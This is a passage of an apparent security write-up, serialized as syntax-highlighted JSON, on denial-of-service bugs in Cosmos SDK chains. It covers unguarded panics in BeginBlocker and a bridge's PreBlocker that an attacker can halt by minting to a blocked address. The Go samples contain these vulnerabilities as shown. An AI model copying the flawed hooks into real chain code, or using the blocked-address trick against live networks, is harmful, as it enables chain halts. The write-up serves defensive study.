k",{"type":26,"tag":217,"props":82138,"children":82139},{"style":7048},[82140],{"type":32,"value":180},{"type":26,"tag":217,"props":82142,"children":82143},{"style":7054},[82144],{"type":32,"value":82145},"keeper",{"type":26,"tag":217,"props":82147,"children":82148},{"style":7048},[82149],{"type":32,"value":180},{"type":26,"tag":217,"props":82151,"children":82152},{"style":7064},[82153],{"type":32,"value":82154},"Shares",{"type":26,"tag":217,"props":82156,"children":82157},{"style":7048},[82158],{"type":32,"value":61808},{"type":26,"tag":217,"props":82160,"children":82161},{"style":7149},[82162],{"type":32,"value":5756},{"type":26,"tag":217,"props":82164,"children":82165},{"style":7054},[82166],{"type":32,"value":82167},"  k",{"type":26,"tag":217,"props":82169,"children":82170},{"style":7048},[82171],{"type":32,"value":180},{"type":26,"tag":217,"props":82173,"children":82174},{"style":7054},[82175],{"type":32,"value":82145},{"type":26,"tag":217,"props":82177,"children":82178},{"style":7048},[82179],{"type":32,"value":180},{"type":26,"tag":217,"props":82181,"children":82182},{"style":7064},[82183],{"type":32,"value":82184},"TotalReward",{"type":26,"tag":217,"props":82186,"children":82187},{"style":7048},[82188],{"type":32,"value":64888},{"type":26,"tag":217,"props":82190,"children":82191},{"class":7028,"line":7389},[82192,82197,82201,82205,82209,82214,82218,82223],{"type":26,"tag":217,"props":82193,"children":82194},{"style":7054},[82195],{"type":32,"value":82196},"    k",{"type":26,"tag":217,"props":82198,"children":82199},{"style":7048},[82200],{"type":32,"value":180},{"type":26,"tag":217,"props":82202,"children":82203},{"style":7054},[82204],{"type":32,"value":82145},{"type":26,"tag":217,"props":82206,"children":82207},{"style":7048},[82208],{"type":32,"value":180},{"type":26,"tag":217,"props":82210,"children":82211},{"style":7064},[82212],{"type":32,"value":82213},"DistributeReward",{"type":26,"tag":217,"props":82215,"children":82216},{"style":7048},[82217],{"type":32,"value":1851},{"type":26,"tag":217,"props":82219,"children":82220},{"style":7054},[82221],{"type":32,"value":82222},"RewardPerShare",{"type":26,"tag":217,"props":82224,"children":82225},{"style":7048},[82226],{"type":32,"value":10025},{"type":26,"tag":217,"props":82228,"children":82229},{"class":7028,"line":7406},[82230],{"type":26,"tag":217,"props":82231,"children":82232},{"emptyLinePlaceholder":17},[82233],{"type":32,"value":7817},{"type":26,"tag":217,"props":82235,"children":82236},{"class":7028,"line":7439},[82237,82241,82245,82249,82253,82258,82262],{"type":26,"tag":217,"props":82238,"children":82239},{"style":7042},[82240],{"type":32,"value":7171},{"type":26,"tag":217,"props":82242,"children":82243},{"style":7149},[82244],{"type":32,"value":10222},{"type":26,"tag":217,"props":82246,"children":82247},{"style":7054},[82248],{"type":32,"value":78922},{"type":26,"tag":217,"props":82250,"children":82251},{"style":7048},[82252],{"type":32,"value":180},{"type":26,"tag":217,"props":82254,"children":82255},{"style":7054},[82256],{"type":32,"value":82257},"MsgAllocateRewardResponse",{"type":26,"tag":217,"props":82259,"children":82260},{"style":7048},[82261],{"type":32,"value":7599},{"type":26,"tag":217,"props":82263,"children":82264},{"style":7154},[82265],{"type":32,"value":77490},{"type":26,"tag":217,"props":82267,"children":82268},{"class":7028,"line":7487},[82269],{"type":26,"tag":217,"props":82270,"children":82271},{"style":7048},[82272],{"type":32,"value":7184},{"type":26,"tag":39,"props":82274,"children":82275},{},[82276,82278,82284,82285,82291,82292,82298,82300,82305],{"type":32,"value":82277},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":26,"tag":83,"props":82279,"children":82281},{"className":82280},[],[82282],{"type":32,"value":82283},"PreBlocker",{"type":32,"value":7599},{"type":26,"tag":83,"props":82286,"children":82288},{"className":82287},[],[82289],{"type":32,"value":82290},"BeginBlocker",{"type":32,"value":17577},{"type":26,"tag":83,"props":82293,"children":82295},{"className":82294},[],[82296],{"type":32,"value":82297},"EndBlocker",{"type":32,"value":82299},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":26,"tag":83,"props":82301,"children":82303},{"className":82302},[],[82304],{"type":32,"value":82290},{"type":32,"value":82306}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":26,"tag":207,"props":82308,"children":82310},{"code":82309,"language":77016,"meta":8,"className":77017,"style":8},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[82311],{"type":26,"tag":83,"props":82312,"children":82313},{"__ignoreMap":8},[82314,82379,82386,82434,82462,82469,82482],{"type":26,"tag":217,"props":82315,"children":82316},{"class":7028,"line":7029},[82317,82321,82326,82330,82334,82338,82342,82346,82350,82354,82359,82363,82367,82371,82375],{"type":26,"tag":217,"props":82318,"children":82319},{"style":7154},[82320],{"type":32,"value":26409},{"type":26,"tag":217,"props":82322,"children":82323},{"style":7064},[82324],{"type":32,"value":82325}," BeginBlocker",{"type":26,"tag":217,"props":82327,"children":82328},{"style":7048},[82329],{"type":32,"value":1851},{"type":26,"tag":217,"props":82331,"children":82332},{"style":7054},[82333],{"type":32,"value":79895},{"type":26,"tag":217,"props":82335,"children":82336},{"style":7119},[82337],{"type":32,"value":59568},{"type":26,"tag":217,"props":82339,"children":82340},{"style":7048},[82341],{"type":32,"value":180},{"type":26,"tag":217,"props":82343,"children":82344},{"style":7119},[82345],{"type":32,"value":77200},{"type":26,"tag":217,"props":82347,"children":82348},{"style":7048},[82349],{"type":32,"value":7599},{"type":26,"tag":217,"props":82351,"children":82352},{"style":7054},[82353],{"type":32,"value":82145},{"type":26,"tag":217,"props":82355,"children":82356},{"style":7119},[82357],{"type":32,"value":82358}," keeper",{"type":26,"tag":217,"props":82360,"children":82361},{"style":7048},[82362],{"type":32,"value":180},{"type":26,"tag":217,"props":82364,"children":82365},{"style":7119},[82366],{"type":32,"value":80827},{"type":26,"tag":217,"props":82368,"children":82369},{"style":7048},[82370],{"type":32,"value":8380},{"type":26,"tag":217,"props":82372,"children":82373},{"style":7119},[82374],{"type":32,"value":7747},{"type":26,"tag":217,"props":82376,"children":82377},{"style":7048},[82378],{"type":32,"value":8064},{"type":26,"tag":217,"props":82380,"children":82381},{"class":7028,"line":6770},[82382],{"type":26,"tag":217,"props":82383,"children":82384},{"emptyLinePlaceholder":17},[82385],{"type":32,"value":7817},{"type":26,"tag":217,"props":82387,"children":82388},{"class":7028,"line":6779},[82389,82393,82397,82401,82405,82409,82413,82417,82422,82426,82430],{"type":26,"tag":217,"props":82390,"children":82391},{"style":7054},[82392],{"type":32,"value":82127},{"type":26,"tag":217,"props":82394,"children":82395},{"style":7149},[82396],{"type":32,"value":77267},{"type":26,"tag":217,"props":82398,"children":82399},{"style":7054},[82400],{"type":32,"value":82358},{"type":26,"tag":217,"props":82402,"children":82403},{"style":7048},[82404],{"type":32,"value":180},{"type":26,"tag":217,"props":82406,"children":82407},{"style":7064},[82408],{"type":32,"value":82154},{"type":26,"tag":217,"props":82410,"children":82411},{"style":7048},[82412],{"type":32,"value":61808},{"type":26,"tag":217,"props":82414,"children":82415},{"style":7149},[82416],{"type":32,"value":5756},{"type":26,"tag":217,"props":82418,"children":82419},{"style":7054},[82420],{"type":32,"value":82421},"  keeper",{"type":26,"tag":217,"props":82423,"children":82424},{"style":7048},[82425],{"type":32,"value":180},{"type":26,"tag":217,"props":82427,"children":82428},{"style":7064},[82429],{"type":32,"value":82184},{"type":26,"tag":217,"props":82431,"children":82432},{"style":7048},[82433],{"type":32,"value":64888},{"type":26,"tag":217,"props":82435,"children":82436},{"class":7028,"line":7140},[82437,82442,82446,82450,82454,82458],{"type":26,"tag":217,"props":82438,"children":82439},{"style":7054},[82440],{"type":32,"value":82441},"    keeper",{"type":26,"tag":217,"props":82443,"children":82444},{"style":7048},[82445],{"type":32,"value":180},{"type":26,"tag":217,"props":82447,"children":82448},{"style":7064},[82449],{"type":32,"value":82213},{"type":26,"tag":217,"props":82451,"children":82452},{"style":7048},[82453],{"type":32,"value":1851},{"type":26,"tag":217,"props":82455,"children":82456},{"style":7054},[82457],{"type":32,"value":82222},{"type":26,"tag":217,"props":82459,"children":82460},{"style":7048},[82461],{"type":32,"value":10025},{"type":26,"tag":217,"props":82463,"children":82464},{"class":7028,"line":7165},[82465],{"type":26,"tag":217,"props":82466,"children":82467},{"emptyLinePlaceholder":17},[82468],{"type":32,"value":7817},{"type":26,"tag":217,"props":82470,"children":82471},{"class":7028,"line":7178},[82472,82477],{"type":26,"tag":217,"props":82473,"children":82474},{"style":7042},[82475],{"type":32,"value":82476}," return",{"type":26,"tag":217,"props":82478,"children":82479},{"style":7154},[82480],{"type":32,"value":82481}," nil\n",{"type":26,"tag":217,"props":82483,"children":82484},{"class":7028,"line":7389},[82485],{"type":26,"tag":217,"props":82486,"children":82487},{"style":7048},[82488],{"type":32,"value":7184},{"type":26,"tag":607,"props":82490,"children":82492},{"id":82491},"real-world-examples-3",[82493],{"type":32,"value":77538},{"type":26,"tag":39,"props":82495,"children":82496},{},[82497],{"type":32,"value":82498},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":26,"tag":39,"props":82500,"children":82501},{},[82502,82504,82510,82512,82517,82519,82525,82527,82533,82535,82541],{"type":32,"value":82503},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":26,"tag":83,"props":82505,"children":82507},{"className":82506},[],[82508],{"type":32,"value":82509},"bankKeeper.SendCoinsFromModuleToAccount",{"type":32,"value":82511}," will be bubbled up through ",{"type":26,"tag":83,"props":82513,"children":82515},{"className":82514},[],[82516],{"type":32,"value":82283},{"type":32,"value":82518}," and halt the chain. It turns out an attacker can force ",{"type":26,"tag":83,"props":82520,"children":82522},{"className":82521},[],[82523],{"type":32,"value":82524},"SendCoinsFromModuleToAccount",{"type":32,"value":82526}," to return an error by setting ",{"type":26,"tag":83,"props":82528,"children":82530},{"className":82529},[],[82531],{"type":32,"value":82532},"recipient",{"type":32,"value":82534}," to some ",{"type":26,"tag":83,"props":82536,"children":82538},{"className":82537},[],[82539],{"type":32,"value":82540},"BlockedAddr",{"type":32,"value":82542},",rendering the code susceptible to DoS attacks.",{"type":26,"tag":39,"props":82544,"children":82545},{},[82546],{"type":26,"tag":163,"props":82547,"children":82550},{"href":82548,"rel":82549},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[167],[82551],{"type":32,"value":77588},{"type":26,"tag":207,"props":82553,"children":82555},{"code":82554,"language":77016,"meta":8,"className":77017,"style":8},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[82556],{"type":26,"tag":83,"props":82557,"children":82558},{"__ignoreMap":8},[82559,82612,82627,82650,82680,82716,82723,82779,82804,82854,82861,82868,82875,82882,82889,82920,82943,82968,82983,82990,83026,83080,83103,83144,83151,83158,83208,83269,83292,83315,83327,83348,83360,83368,83375,83391,83399,83406,83413,83420,83427,83434,83465,83488,83513,83539,83554,83561,83598,83609,83630,83641,83653,83660,83683,83723,83730,83737],{"type":26,"tag":217,"props":82560,"children":82561},{"class":7028,"line":7029},[82562,82566,82570,82575,82579,82584,82588,82592,82596,82600,82604,82608],{"type":26,"tag":217,"props":82563,"children":82564},{"style":7154},[82565],{"type":32,"value":26409},{"type":26,"tag":217,"props":82567,"children":82568},{"style":7048},[82569],{"type":32,"value":7051},{"type":26,"tag":217,"props":82571,"children":82572},{"style":7054},[82573],{"type":32,"value":82574},"pbh ",{"type":26,"tag":217,"props":82576,"children":82577},{"style":7149},[82578],{"type":32,"value":10006},{"type":26,"tag":217,"props":82580,"children":82581},{"style":7119},[82582],{"type":32,"value":82583},"PreBlockHandler",{"type":26,"tag":217,"props":82585,"children":82586},{"style":7048},[82587],{"type":32,"value":8380},{"type":26,"tag":217,"props":82589,"children":82590},{"style":7064},[82591],{"type":32,"value":82283},{"type":26,"tag":217,"props":82593,"children":82594},{"style":7048},[82595],{"type":32,"value":61808},{"type":26,"tag":217,"props":82597,"children":82598},{"style":7119},[82599],{"type":32,"value":79608},{"type":26,"tag":217,"props":82601,"children":82602},{"style":7048},[82603],{"type":32,"value":180},{"type":26,"tag":217,"props":82605,"children":82606},{"style":7119},[82607],{"type":32,"value":82283},{"type":26,"tag":217,"props":82609,"children":82610},{"style":7048},[82611],{"type":32,"value":8064},{"type":26,"tag":217,"props":82613,"children":82614},{"class":7028,"line":6770},[82615,82619,82623],{"type":26,"tag":217,"props":82616,"children":82617},{"style":7042},[82618],{"type":32,"value":7171},{"type":26,"tag":217,"props":82620,"children":82621},{"style":7154},[82622],{"type":32,"value":26350},{"type":26,"tag":217,"props":82624,"children":82625},{"style":7048},[82626],{"type":32,"value":10932},{"type":26,"tag":217,"props":82628,"children":82629},{"class":7028,"line":6779},[82630,82634,82638,82642,82646],{"type":26,"tag":217,"props":82631,"children":82632},{"style":7054},[82633],{"type":32,"value":78279},{"type":26,"tag":217,"props":82635,"children":82636},{"style":7119},[82637],{"type":32,"value":79518},{"type":26,"tag":217,"props":82639,"children":82640},{"style":7048},[82641],{"type":32,"value":180},{"type":26,"tag":217,"props":82643,"children":82644},{"style":7119},[82645],{"type":32,"value":77200},{"type":26,"tag":217,"props":82647,"children":82648},{"style":7048},[82649],{"type":32,"value":10953},{"type":26,"tag":217,"props":82651,"children":82652},{"class":7028,"line":7140},[82653,82658,82662,82667,82671,82676],{"type":26,"tag":217,"props":82654,"children":82655},{"style":7054},[82656],{"type":32,"value":82657},"        req",{"type":26,"tag":217,"props":82659,"children":82660},{"style":7149},[82661],{"type":32,"value":9690},{"type":26,"tag":217,"props":82663,"children":82664},{"style":7119},[82665],{"type":32,"value":82666},"cmtabci",{"type":26,"tag":217,"props":82668,"children":82669},{"style":7048},[82670],{"type":32,"value":180},{"type":26,"tag":217,"props":82672,"children":82673},{"style":7119},[82674],{"type":32,"value":82675},"RequestFinalizeBlock",{"type":26,"tag":217,"props":82677,"children":82678},{"style":7048},[82679],{"type":32,"value":10953},{"type":26,"tag":217,"props":82681,"children":82682},{"class":7028,"line":7165},[82683,82687,82691,82695,82699,82704,82708,82712],{"type":26,"tag":217,"props":82684,"children":82685},{"style":7048},[82686],{"type":32,"value":80958},{"type":26,"tag":217,"props":82688,"children":82689},{"style":7149},[82690],{"type":32,"value":10006},{"type":26,"tag":217,"props":82692,"children":82693},{"style":7119},[82694],{"type":32,"value":79608},{"type":26,"tag":217,"props":82696,"children":82697},{"style":7048},[82698],{"type":32,"value":180},{"type":26,"tag":217,"props":82700,"children":82701},{"style":7119},[82702],{"type":32,"value":82703},"ResponsePreBlock",{"type":26,"tag":217,"props":82705,"children":82706},{"style":7048},[82707],{"type":32,"value":7599},{"type":26,"tag":217,"props":82709,"children":82710},{"style":7119},[82711],{"type":32,"value":7747},{"type":26,"tag":217,"props":82713,"children":82714},{"style":7048},[82715],{"type":32,"value":7618},{"type":26,"tag":217,"props":82717,"children":82718},{"class":7028,"line":7178},[82719],{"type":26,"tag":217,"props":82720,"children":82721},{"style":7149},[82722],{"type":32,"value":76369},{"type":26,"tag":217,"props":82724,"children":82725},{"class":7028,"line":7389},[82726,82731,82735,82740,82744,82749,82753,82758,82762,82766,82770,82775],{"type":26,"tag":217,"props":82727,"children":82728},{"style":7054},[82729],{"type":32,"value":82730},"        err",{"type":26,"tag":217,"props":82732,"children":82733},{"style":7149},[82734],{"type":32,"value":77267},{"type":26,"tag":217,"props":82736,"children":82737},{"style":7054},[82738],{"type":32,"value":82739}," pbh",{"type":26,"tag":217,"props":82741,"children":82742},{"style":7048},[82743],{"type":32,"value":180},{"type":26,"tag":217,"props":82745,"children":82746},{"style":7054},[82747],{"type":32,"value":82748},"bridgeKeeper",{"type":26,"tag":217,"props":82750,"children":82751},{"style":7048},[82752],{"type":32,"value":180},{"type":26,"tag":217,"props":82754,"children":82755},{"style":7064},[82756],{"type":32,"value":82757},"AcceptAssetsLocked",{"type":26,"tag":217,"props":82759,"children":82760},{"style":7048},[82761],{"type":32,"value":1851},{"type":26,"tag":217,"props":82763,"children":82764},{"style":7054},[82765],{"type":32,"value":79895},{"type":26,"tag":217,"props":82767,"children":82768},{"style":7048},[82769],{"type":32,"value":7599},{"type":26,"tag":217,"props":82771,"children":82772},{"style":7054},[82773],{"type":32,"value":82774},"events",{"type":26,"tag":217,"props":82776,"children":82777},{"style":7048},[82778],{"type":32,"value":10025},{"type":26,"tag":217,"props":82780,"children":82781},{"class":7028,"line":7406},[82782,82786,82791,82795,82800],{"type":26,"tag":217,"props":82783,"children":82784},{"style":7042},[82785],{"type":32,"value":12497},{"type":26,"tag":217,"props":82787,"children":82788},{"style":7054},[82789],{"type":32,"value":82790}," err",{"type":26,"tag":217,"props":82792,"children":82793},{"style":7149},[82794],{"type":32,"value":66974},{"type":26,"tag":217,"props":82796,"children":82797},{"style":7154},[82798],{"type":32,"value":82799}," nil",{"type":26,"tag":217,"props":82801,"children":82802},{"style":7048},[82803],{"type":32,"value":8064},{"type":26,"tag":217,"props":82805,"children":82806},{"class":7028,"line":7439},[82807,82811,82815,82819,82824,82828,82833,82837,82842,82846,82850],{"type":26,"tag":217,"props":82808,"children":82809},{"style":7042},[82810],{"type":32,"value":7790},{"type":26,"tag":217,"props":82812,"children":82813},{"style":7154},[82814],{"type":32,"value":82799},{"type":26,"tag":217,"props":82816,"children":82817},{"style":7048},[82818],{"type":32,"value":7599},{"type":26,"tag":217,"props":82820,"children":82821},{"style":7054},[82822],{"type":32,"value":82823},"fmt",{"type":26,"tag":217,"props":82825,"children":82826},{"style":7048},[82827],{"type":32,"value":180},{"type":26,"tag":217,"props":82829,"children":82830},{"style":7064},[82831],{"type":32,"value":82832},"Errorf",{"type":26,"tag":217,"props":82834,"children":82835},{"style":7048},[82836],{"type":32,"value":1851},{"type":26,"tag":217,"props":82838,"children":82839},{"style":7338},[82840],{"type":32,"value":82841},"\"cannot accept AssetsLocked events: %w\"",{"type":26,"tag":217,"props":82843,"children":82844},{"style":7048},[82845],{"type":32,"value":7599},{"type":26,"tag":217,"props":82847,"children":82848},{"style":7054},[82849],{"type":32,"value":8675},{"type":26,"tag":217,"props":82851,"children":82852},{"style":7048},[82853],{"type":32,"value":10025},{"type":26,"tag":217,"props":82855,"children":82856},{"class":7028,"line":7487},[82857],{"type":26,"tag":217,"props":82858,"children":82859},{"style":7048},[82860],{"type":32,"value":8722},{"type":26,"tag":217,"props":82862,"children":82863},{"class":7028,"line":7524},[82864],{"type":26,"tag":217,"props":82865,"children":82866},{"style":7149},[82867],{"type":32,"value":76369},{"type":26,"tag":217,"props":82869,"children":82870},{"class":7028,"line":7553},[82871],{"type":26,"tag":217,"props":82872,"children":82873},{"style":7048},[82874],{"type":32,"value":9754},{"type":26,"tag":217,"props":82876,"children":82877},{"class":7028,"line":7570},[82878],{"type":26,"tag":217,"props":82879,"children":82880},{"style":7048},[82881],{"type":32,"value":7184},{"type":26,"tag":217,"props":82883,"children":82884},{"class":7028,"line":7621},[82885],{"type":26,"tag":217,"props":82886,"children":82887},{"emptyLinePlaceholder":17},[82888],{"type":32,"value":7817},{"type":26,"tag":217,"props":82890,"children":82891},{"class":7028,"line":7672},[82892,82896,82900,82904,82908,82912,82916],{"type":26,"tag":217,"props":82893,"children":82894},{"style":7154},[82895],{"type":32,"value":26409},{"type":26,"tag":217,"props":82897,"children":82898},{"style":7048},[82899],{"type":32,"value":7051},{"type":26,"tag":217,"props":82901,"children":82902},{"style":7054},[82903],{"type":32,"value":82008},{"type":26,"tag":217,"props":82905,"children":82906},{"style":7119},[82907],{"type":32,"value":80827},{"type":26,"tag":217,"props":82909,"children":82910},{"style":7048},[82911],{"type":32,"value":8380},{"type":26,"tag":217,"props":82913,"children":82914},{"style":7064},[82915],{"type":32,"value":82757},{"type":26,"tag":217,"props":82917,"children":82918},{"style":7048},[82919],{"type":32,"value":10932},{"type":26,"tag":217,"props":82921,"children":82922},{"class":7028,"line":7681},[82923,82927,82931,82935,82939],{"type":26,"tag":217,"props":82924,"children":82925},{"style":7054},[82926],{"type":32,"value":79513},{"type":26,"tag":217,"props":82928,"children":82929},{"style":7119},[82930],{"type":32,"value":79518},{"type":26,"tag":217,"props":82932,"children":82933},{"style":7048},[82934],{"type":32,"value":180},{"type":26,"tag":217,"props":82936,"children":82937},{"style":7119},[82938],{"type":32,"value":77200},{"type":26,"tag":217,"props":82940,"children":82941},{"style":7048},[82942],{"type":32,"value":10953},{"type":26,"tag":217,"props":82944,"children":82945},{"class":7028,"line":7754},[82946,82951,82955,82959,82964],{"type":26,"tag":217,"props":82947,"children":82948},{"style":7054},[82949],{"type":32,"value":82950},"    events",{"type":26,"tag":217,"props":82952,"children":82953},{"style":7119},[82954],{"type":32,"value":79049},{"type":26,"tag":217,"props":82956,"children":82957},{"style":7048},[82958],{"type":32,"value":180},{"type":26,"tag":217,"props":82960,"children":82961},{"style":7119},[82962],{"type":32,"value":82963},"AssetsLockedEvents",{"type":26,"tag":217,"props":82965,"children":82966},{"style":7048},[82967],{"type":32,"value":10953},{"type":26,"tag":217,"props":82969,"children":82970},{"class":7028,"line":7784},[82971,82975,82979],{"type":26,"tag":217,"props":82972,"children":82973},{"style":7048},[82974],{"type":32,"value":8380},{"type":26,"tag":217,"props":82976,"children":82977},{"style":7119},[82978],{"type":32,"value":7747},{"type":26,"tag":217,"props":82980,"children":82981},{"style":7048},[82982],{"type":32,"value":8064},{"type":26,"tag":217,"props":82984,"children":82985},{"class":7028,"line":7802},[82986],{"type":26,"tag":217,"props":82987,"children":82988},{"style":7149},[82989],{"type":32,"value":75433},{"type":26,"tag":217,"props":82991,"children":82992},{"class":7028,"line":7811},[82993,82997,83001,83005,83009,83013,83017,83022],{"type":26,"tag":217,"props":82994,"children":82995},{"style":7042},[82996],{"type":32,"value":12461},{"type":26,"tag":217,"props":82998,"children":82999},{"style":7054},[83000],{"type":32,"value":78641},{"type":26,"tag":217,"props":83002,"children":83003},{"style":7048},[83004],{"type":32,"value":7599},{"type":26,"tag":217,"props":83006,"children":83007},{"style":7054},[83008],{"type":32,"value":7613},{"type":26,"tag":217,"props":83010,"children":83011},{"style":7149},[83012],{"type":32,"value":77267},{"type":26,"tag":217,"props":83014,"children":83015},{"style":7042},[83016],{"type":32,"value":78262},{"type":26,"tag":217,"props":83018,"children":83019},{"style":7054},[83020],{"type":32,"value":83021}," events",{"type":26,"tag":217,"props":83023,"children":83024},{"style":7048},[83025],{"type":32,"value":8064},{"type":26,"tag":217,"props":83027,"children":83028},{"class":7028,"line":7820},[83029,83034,83038,83042,83046,83050,83054,83059,83063,83067,83071,83076],{"type":26,"tag":217,"props":83030,"children":83031},{"style":7054},[83032],{"type":32,"value":83033},"        recipient",{"type":26,"tag":217,"props":83035,"children":83036},{"style":7048},[83037],{"type":32,"value":7599},{"type":26,"tag":217,"props":83039,"children":83040},{"style":7054},[83041],{"type":32,"value":8675},{"type":26,"tag":217,"props":83043,"children":83044},{"style":7149},[83045],{"type":32,"value":77267},{"type":26,"tag":217,"props":83047,"children":83048},{"style":7054},[83049],{"type":32,"value":79518},{"type":26,"tag":217,"props":83051,"children":83052},{"style":7048},[83053],{"type":32,"value":180},{"type":26,"tag":217,"props":83055,"children":83056},{"style":7064},[83057],{"type":32,"value":83058},"AccAddressFromBech32",{"type":26,"tag":217,"props":83060,"children":83061},{"style":7048},[83062],{"type":32,"value":1851},{"type":26,"tag":217,"props":83064,"children":83065},{"style":7054},[83066],{"type":32,"value":7613},{"type":26,"tag":217,"props":83068,"children":83069},{"style":7048},[83070],{"type":32,"value":180},{"type":26,"tag":217,"props":83072,"children":83073},{"style":7054},[83074],{"type":32,"value":83075},"Recipient",{"type":26,"tag":217,"props":83077,"children":83078},{"style":7048},[83079],{"type":32,"value":10025},{"type":26,"tag":217,"props":83081,"children":83082},{"class":7028,"line":7844},[83083,83087,83091,83095,83099],{"type":26,"tag":217,"props":83084,"children":83085},{"style":7042},[83086],{"type":32,"value":12497},{"type":26,"tag":217,"props":83088,"children":83089},{"style":7054},[83090],{"type":32,"value":82790},{"type":26,"tag":217,"props":83092,"children":83093},{"style":7149},[83094],{"type":32,"value":66974},{"type":26,"tag":217,"props":83096,"children":83097},{"style":7154},[83098],{"type":32,"value":82799},{"type":26,"tag":217,"props":83100,"children":83101},{"style":7048},[83102],{"type":32,"value":8064},{"type":26,"tag":217,"props":83104,"children":83105},{"class":7028,"line":7910},[83106,83110,83115,83119,83123,83127,83132,83136,83140],{"type":26,"tag":217,"props":83107,"children":83108},{"style":7042},[83109],{"type":32,"value":7790},{"type":26,"tag":217,"props":83111,"children":83112},{"style":7054},[83113],{"type":32,"value":83114}," fmt",{"type":26,"tag":217,"props":83116,"children":83117},{"style":7048},[83118],{"type":32,"value":180},{"type":26,"tag":217,"props":83120,"children":83121},{"style":7064},[83122],{"type":32,"value":82832},{"type":26,"tag":217,"props":83124,"children":83125},{"style":7048},[83126],{"type":32,"value":1851},{"type":26,"tag":217,"props":83128,"children":83129},{"style":7338},[83130],{"type":32,"value":83131},"\"failed to parse recipient address: %w\"",{"type":26,"tag":217,"props":83133,"children":83134},{"style":7048},[83135],{"type":32,"value":7599},{"type":26,"tag":217,"props":83137,"children":83138},{"style":7054},[83139],{"type":32,"value":8675},{"type":26,"tag":217,"props":83141,"children":83142},{"style":7048},[83143],{"type":32,"value":10025},{"type":26,"tag":217,"props":83145,"children":83146},{"class":7028,"line":7954},[83147],{"type":26,"tag":217,"props":83148,"children":83149},{"style":7048},[83150],{"type":32,"value":8722},{"type":26,"tag":217,"props":83152,"children":83153},{"class":7028,"line":7985},[83154],{"type":26,"tag":217,"props":83155,"children":83156},{"emptyLinePlaceholder":17},[83157],{"type":32,"value":7817},{"type":26,"tag":217,"props":83159,"children":83160},{"class":7028,"line":8027},[83161,83165,83169,83173,83178,83182,83186,83190,83195,83199,83204],{"type":26,"tag":217,"props":83162,"children":83163},{"style":7042},[83164],{"type":32,"value":12497},{"type":26,"tag":217,"props":83166,"children":83167},{"style":7054},[83168],{"type":32,"value":36999},{"type":26,"tag":217,"props":83170,"children":83171},{"style":7048},[83172],{"type":32,"value":180},{"type":26,"tag":217,"props":83174,"children":83175},{"style":7064},[83176],{"type":32,"value":83177},"Equal",{"type":26,"tag":217,"props":83179,"children":83180},{"style":7048},[83181],{"type":32,"value":1851},{"type":26,"tag":217,"props":83183,"children":83184},{"style":7054},[83185],{"type":32,"value":7613},{"type":26,"tag":217,"props":83187,"children":83188},{"style":7048},[83189],{"type":32,"value":180},{"type":26,"tag":217,"props":83191,"children":83192},{"style":7064},[83193],{"type":32,"value":83194},"TokenBytes",{"type":26,"tag":217,"props":83196,"children":83197},{"style":7048},[83198],{"type":32,"value":59809},{"type":26,"tag":217,"props":83200,"children":83201},{"style":7054},[83202],{"type":32,"value":83203},"sourceBTCToken",{"type":26,"tag":217,"props":83205,"children":83206},{"style":7048},[83207],{"type":32,"value":7618},{"type":26,"tag":217,"props":83209,"children":83210},{"class":7028,"line":8035},[83211,83216,83220,83224,83228,83233,83237,83241,83245,83249,83253,83257,83261,83265],{"type":26,"tag":217,"props":83212,"children":83213},{"style":7054},[83214],{"type":32,"value":83215},"            err",{"type":26,"tag":217,"props":83217,"children":83218},{"style":7149},[83219],{"type":32,"value":8993},{"type":26,"tag":217,"props":83221,"children":83222},{"style":7054},[83223],{"type":32,"value":82136},{"type":26,"tag":217,"props":83225,"children":83226},{"style":7048},[83227],{"type":32,"value":180},{"type":26,"tag":217,"props":83229,"children":83230},{"style":7064},[83231],{"type":32,"value":83232},"mintBTC",{"type":26,"tag":217,"props":83234,"children":83235},{"style":7048},[83236],{"type":32,"value":1851},{"type":26,"tag":217,"props":83238,"children":83239},{"style":7054},[83240],{"type":32,"value":79895},{"type":26,"tag":217,"props":83242,"children":83243},{"style":7048},[83244],{"type":32,"value":7599},{"type":26,"tag":217,"props":83246,"children":83247},{"style":7054},[83248],{"type":32,"value":82532},{"type":26,"tag":217,"props":83250,"children":83251},{"style":7048},[83252],{"type":32,"value":7599},{"type":26,"tag":217,"props":83254,"children":83255},{"style":7054},[83256],{"type":32,"value":7613},{"type":26,"tag":217,"props":83258,"children":83259},{"style":7048},[83260],{"type":32,"value":180},{"type":26,"tag":217,"props":83262,"children":83263},{"style":7054},[83264],{"type":32,"value":79937},{"type":26,"tag"